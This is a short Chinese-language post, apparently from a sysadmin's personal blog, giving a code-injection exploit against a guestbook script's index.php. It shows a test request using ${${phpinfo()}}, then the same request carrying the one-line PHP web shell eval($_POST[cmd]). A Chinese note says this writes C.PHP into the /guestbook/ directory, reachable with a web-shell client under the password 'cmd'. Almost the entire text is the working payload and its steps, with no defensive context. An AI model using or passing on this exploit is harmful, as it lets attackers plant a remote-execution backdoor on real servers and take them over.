guestbook/index.php?keywords=test&&page=3&${${phpinfo()}}

phpinfo替换成<?php eval($_POST[cmd])?>
<?php eval($_POST[cmd])?>
index.php?keywords=test&&page=3&${${<?php eval($_POST[cmd])?>}}
在/guestbook/目录下生成C.PHP用一句话连 ..密码cmd

文章如转载,请注明转载自【网管小王的独立博客】: